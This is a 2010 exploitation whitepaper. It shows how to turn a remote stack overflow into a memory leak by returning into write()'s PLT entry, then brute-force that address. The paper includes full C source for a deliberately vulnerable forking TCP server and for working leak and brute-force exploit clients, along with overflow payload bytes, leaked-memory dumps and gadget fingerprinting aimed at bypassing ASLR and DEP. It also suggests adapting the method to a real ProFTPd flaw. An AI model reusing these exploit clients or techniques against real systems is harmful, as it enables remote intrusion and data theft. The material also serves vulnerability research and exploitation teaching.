Stack Overflow: Automatic write() discovery

Marco "*Segfault*" Ortisi (redazione 'at' segfault.it)
April 2010

Introduction

During the 90's, writing stable exploits meant to use heap, stack or libc static addresses and hardcoded offsets in the exploit code. Before the first ASLR implementation saw the light, many exploit writers understood the needs for dynamically leaking useful data, so that the exploit code could working automatically (or "automagically"). The format string overflow vulnerabilities offered the right support for this idea. With these kind of bugs was possible dumping the memory of a remote daemon from arbitrary memory addresses, for example using:

```
%x%x%x%x%x%x%x
```

```
`\x44\x33\x22\x11 %20$x`
```

Where `0x11223344` was the hex representation of the address memory to dump.

As for heap overflow, **[1]** and the **[2]** also showed which it was possible leaking data from a remote process.

Conversely, much less has been written or said on stack overflow. The problem is which if an application is vulnerable to stack overflow, it is not always true that the same software is also vulnerable to a leak memory bug. However, the basic principle of this whitepaper is which whether a leak memory bug does not exists, usually you can create it.

Before starting, a small clarification. All the examples here reported will based on x86 hardware architecture (up to you adapting on x86_64). All tests were done on Fedora 13/Fedora 14.

Vulnerable Code

During the discussion of this document, we will build our assumptions from the vulnerable code [**C1**]. Basically, this code (borrowed from **[3]** ☺ but a bit modified) put itself in listening state on TCP port 1234 and spawn a child for every incoming connection which is served through `handle_connection` function. This function is vulnerable, because `read()` may fill `buffer` beyond its size (1024 byte) while getting data from `fd` descriptor.

Propitiate Leaking Data

All the TCP server applications use API functions as `write()`, `send()` or `sendto()` for communicate with the peers. In a buffer stack overflow scenario, we can take advantages of these

functions forcing the remote application to reveal its memory's contents. The fastest way to do it is using the binary PLT's entries:

```
# gdb ./server
(gdb) disas handle_connection
[…]
0x0804880b <+87>:    call   0x80485a4 <write@plt>
[…]
(gdb) x/i 0x80485a4
0x80485a4 <write@plt>:       jmp    *0x8049cfc
```

For understand how leverage the **Procedure Linkage Table** technique within the exploit code, let's look at [**C2**]. The most important part of this leak client is as the buffer sent to server is built. Initially, C2 fills the buffer with 1036 A.

```
memset(buffer, '\x41', 1036);
```

The next 4 byte are used as **Return Address** whereas the following bytes are used as parameters from the vulnerable application.

```
memcpy(buffer+1036, "\xa4\x85\x04\x08"
                    "\x00\x00\x00\x00"
                    "\x01\x00\x00\x00"
                    "\x84\x85\x04\x08"
                    "\xff\xff\x00\x00"
                  , 20);
```

Specifically:

- The Return Address onto the stack is overwritten with the `write()`'s PLT entry (`0x080485a4` in this case);
- `0x00000000` is where the application code is supposed to resume (it is not used here);
- `0x00000001` is the first parameter of `write()` function, that is the **output file descriptor**.
- `0x08048584` is the second parameter of `write()` function, that is where we beginning to read data. This memory address might be a stack, heap or whatever address is mapped on server process. Obviously, whether the memory address chosen is mistaken, the child spawned from parent crash.
- `0x0000ffff` specifies the memory size in bytes we want reading (65535 bytes in this case). This is the third parameter of `write()` function.

`0x00000001` deserves a separate observation. The file descriptor to use for returning/leaking data from remote process is usually very simple to guess. In a typical server application, the standard input/output file descriptors are typically occupied for socket operation, so determinate exactly the first parameter of `write()` for each single child process is quite simple, because it will be every the same:

```
# lsof | grep server
server  5567  root  0u   IPv4  38382  0t0  TCP IP:search-agent->IP:52659
(ESTABLISHED)
```

```
server  5567  root  1u   IPv4  38382  0t0  TCP IP:search-agent->IP:52659
(ESTABLISHED)
```

However, when an application don't `close()` and/or `dup()` its input/output file descriptors before spawning childs, the first parameter of `write()` is rather simple to guess as well:

FD	Desc
0	standard input (console)
1	standard output (console)
2	standard error (console)
3	created through `socket()` call
4	**returned from `accept()` for child process**

In any case, `lsof` is your friend!

Here is what happens when the exploit code [**C2**] is compiled and launched:

```
# gcc leak_client.c –o leak_client
# ./leak_client 127.0.0.1

Press a key to continue...

Received Data Len: 14
Data Follow:
4f 46 20 53 65 72 76 65 72 20 31 2e 30 0a 00 (String "OF Server 1.0\r\n")
Received Data Len: 3
Data Follow:
4f 4b 0a 00 (String "OK\r\n")
Received Data Len: 4079 (Memory Data in hex, leaked from process)
Data Follow:
ff 25 b8 9c 04 08 68 18 00 00 00 e9 b0 ff ff ff ff 25 bc 9c 04 08 68 20 00 00 00
e9 a0 ff ff ff ff 25 c0 9c 04 08 68 28 00 00 00 e9 90 ff ff ff ff 25 c4 9c 04 08
68 30 00 00 00 e9 80 ff ff ff ff 25 c8 9c 04 08 68 38 00 00 00 e9 70 ff ff ff ff
25 cc 9c 04 08 68 40 00 00 00 e9 60 ff ff ff ff 25 d0 9c 04 08 68 48 00 00 00 e9
50 ff ff ff ff 25 d4 9c 04 08 68 50 00 00 00 e9 40 ff ff ff ff 25 d8 9c 04 08 68
58 00 00 00 e9 30 ff ff ff ff 25 dc 9c 04 08 68 60 00 00 00 e9 20 ff ff ff ff 25
e0 9c 04 08 68 68 00 00 00 e9 10 ff ff ff ff 25 e4 9c 04 08 68 70 00 00 00 e9 00
[...]
```

What doing with this?

Leveraging `write()`'s PLT, we can reading memory for:

- Searching and locating our input into the stack, heap or in others memory regions (for example learning GOT entries or looking ELF **string table**). Let's suppose:

  INPUT = *ABCDEFGHJKILMNOPQRSTUVWXYZ*
  DATA = *output leaked from server*
  ADDR = *some stack address used as second parameter of write()*

  ```
  If DATA == ABCD…
   Then ADDR is the stack address for INPUT
  ```

- Searching for specific assembly *opcode* or gadget (useful for building ROP exploits):

```
If DATA == \x8d\x64\x24\x04\x5b\x5d\xc3...
 Then GADGET is lea 0x4(%esp),%esp; pop %ebx; pop %ebp; ret
```

- Searching the fingerprint of a system function. It is like searching gadget into the memory, but this time the research is finalized to find the distinctive elements of one function compared to others functions. For example, disassembling `mprotect()` on Fedora 14 we get:

```
0x00a15600 <+0>:     push   %ebx
0x00a15601 <+1>:     mov    0x10(%esp),%edx
0x00a15605 <+5>:     mov    0xc(%esp),%ecx
0x00a15609 <+9>:     mov    0x8(%esp),%ebx
0x00a1560d <+13>:    mov    $0x7d,%eax
0x00a15612 <+18>:    call   *%gs:0x10
0x00a15619 <+25>:    pop    %ebx
0x00a1561a <+26>:    cmp    $0xfffff001,%eax
0x00a1561f <+31>:    jae    0xa15622 <mprotect+34>
[…]

(gdb) x/31bx 0xa15600
0xa15600 <mprotect>:    0x53 0x8b 0x54 0x24 0x10 0x8b 0x4c 0x24
0xa15608 <mprotect+8>:  0x0c 0x8b 0x5c 0x24 0x08 0xb8 0x7d 0x00
0xa15610 <mprotect+16>: 0x00 0x00 0x65 0xff 0x15 0x10 0x00 0x00
0xa15618 <mprotect+24>: 0x00 0x5b 0x3d 0x01 0xf0 0xff 0xff
```

So, we can to say:

```
If DATA == \x53\x8b\x54\x24\x10\x8b\x4c\x24\x0c\x8b\x5c\x24\x08\xb8\x7d
           \x00\x00\x00\x65\xff\x15\x10\x00\x00\x00\x5b\x3d\x01\xf0\xff\xff

 Then ADDR is probably mprotect()'s address
```

All of these tricks permit us to bypass common security mechanism (i.e. **ASLR** and **DEP**) without using hard-coded value within the exploit code. Using PLT entries also permit us to bypass **ASCII Armor Address Mapping** with not PIE-executable binaries.

Automatic write() discovery

In some circumstances is not always possible knowing in advance the location of `write()`'s PLT address. This is true, for example, when we don't know which binary is running on server. However, if for each connection the parent process spawns a child, we can bruteforce and automatically discover this address! The algorithm is the following:

1 Choose a base address (`ADDR`) for starting bruteforce (for example `0x08048500`);

2 Send the request which elicits the overflow;

3 If bytes received from socket > 0 (or some other len) `ADDR` is `write()`'s address, else increases `ADDR`'s value and repeats the cycle again.

This concept is implemented with [**C3**]. Here is what happens when this code is compiled and launched:

```
# gcc brute_client.c –o brute_client
# ./brute_client 127.0.0.1
Trying 0x8048500
Trying 0x8048504
Trying 0x8048508
Trying 0x804850c
[...]
Founded write() PLT: 0x80485a4
```

Now, up to you how adapt this for last ProFTPd flaw ;)

Conclusion

A few final words before to conclude. In this document we have not considered the problem of stack canary. However, because the application spawn a child for every incoming connection, you can try to guess (one-byte technique or other….:))

Reference

[1] jp (Phrack 61) -Advanced Doug Lea's malloc exploit
[2] openssl exploit (CVE-2002-0656)
[3] Sebastian Krahmer – x86-64 buffer overflow exploits and the borrowed code chunk exploitation technique

---

C1: Vulnerable Server application

```
/* server.c */
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>


void die(const char *s)
{
        perror(s);
        exit(errno);
}

int handle_connection(int fd)
{
        char buf[1024];

        write(fd, "OF Server 1.0\n", 14);
        read(fd, buf, 4*sizeof(buf));
        write(fd, "OK\n", 3);
        return 0;
}


void sigchld(int x)
{
        while (waitpid(-1, NULL, WNOHANG) != -1);
}


int main()
{
        int sock = -1, afd = -1;
        struct sockaddr_in sin;
        int one = 1;

        printf("&sock = %p system=%p mmap=%p\n", &sock, system, mmap);

        if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
                die("socket");
        memset(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(1234);
        sin.sin_addr.s_addr = INADDR_ANY;

        setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

        if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                die("bind");
        if (listen(sock, 10) < 0)
                die("listen");
```

```
        signal(SIGCHLD, sigchld);
        close(0);
        close(1);
        for (;;) {
                if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR)
                        die("accept");
                if (afd < 0)
                        continue;
                if (fork() == 0) {
                        dup2(afd, 1);
                        printf("BAU MESSAGE 2\r\n");
                        handle_connection(afd);
                        exit(0);
                }
                close(afd);
        }

        return 0;
}
```

C2: Leak Client

```
/* leak_client.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>

int main(int argc, char *argv[])
{
 unsigned char receive[70000];
 int fd, ret, i = 0;
 struct sockaddr_in xab;
 char *buffer;
 int port = 1234;
 int len = 0;

 if (argc != 2)
  exit(0);

 buffer = malloc(2000);
 memset(buffer, '\0', 2000);
 memset(receive, '\0', sizeof(receive));

 memset(buffer, '\x41', 1036);
 memcpy(buffer+1036, "\xa4\x85\x04\x08"  // write()'s PLT address
               "\x00\x00\x00\x00"  // return address (useless for now...)
               "\x01\x00\x00\x00"  // output FD
               "\x84\x85\x04\x08"  // starting address of leaking
               "\xff\xff\x00\x00"  // written output data size
             , 20);

 fd = socket(AF_INET, SOCK_STREAM, 0);
```

```
 if (fd == -1)
 {
  printf("%s\r\n", strerror(errno));
  exit(EXIT_FAILURE);
 }

 memset(&xab, 0, sizeof(xab));
 xab.sin_family = AF_INET;
 xab.sin_port = htons(port);
 xab.sin_addr.s_addr = inet_addr(argv[1]);

 ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
 if (ret == -1)
 {
  printf("%s\r\n", strerror(errno));
  exit(EXIT_FAILURE);
 }

 printf("\nPress a key to continue...\n");
 getchar();

 send(fd, buffer, 1056, 0);

 while ( (len = recv(fd, &receive, sizeof(receive), 0)) > 0)
 {
  printf("Received Data Len: %d\r\nData Follow:\r\n", len);

  for (i = 0; i <=len; i++)
   printf("%02x ", receive[i]);

  printf("\r\n");
  memset(receive, 0x00, sizeof(receive));
 }
}
```

C3: write() Discovery Bruteforce Client

```
/* brute_client.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>

unsigned char write_plt[] =
"\xcc\xcc\xcc\xcc\x00\x00\x00\x00\x01\x00\x00\x00\x84\x85\x04\x08\xff\xff\x00\x0
0";

int main(int argc, char *argv[])
{
 unsigned char receive[70000];
 int fd, ret, i = 0;
 struct sockaddr_in xab;
 char *buffer;
 unsigned int ret_address = 0x08048500;
 int port = 1234;
 int len = 0;
```

```
 if (argc != 2)
  exit(0);

 buffer = malloc(2000);
 memset(buffer, '\0', 2000);
 memset(receive, '\0', sizeof(receive));

 for (;;)
 {
  memcpy(write_plt, (void *)&ret_address, sizeof(ret_address));

  printf("Trying %p\r\n", ret_address);

  memset(buffer, '\x41', 1036);
  memcpy(buffer+1036, write_plt, 20);

  fd = socket(AF_INET, SOCK_STREAM, 0);
  if (fd == -1)
  {
   printf("%s\r\n", strerror(errno));
   exit(EXIT_FAILURE);
  }

  memset(&xab, 0, sizeof(xab));
  xab.sin_family = AF_INET;
  xab.sin_port = htons(port);
  xab.sin_addr.s_addr = inet_addr(argv[1]);

  ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
  if (ret == -1)
  {
   printf("%s\r\n", strerror(errno));
   exit(EXIT_FAILURE);
  }

  send(fd, buffer, 1056, 0);

  while ( (len = recv(fd, &receive, sizeof(receive), 0)) > 0)
  {
   if (len > 14)
   {
    printf("Founded write() PLT: %p\r\n", ret_address);
    exit(0);
   }
   memset(receive, 0x00, sizeof(receive));
  }

  close(fd);
  ret_address+=4;
 }
}
```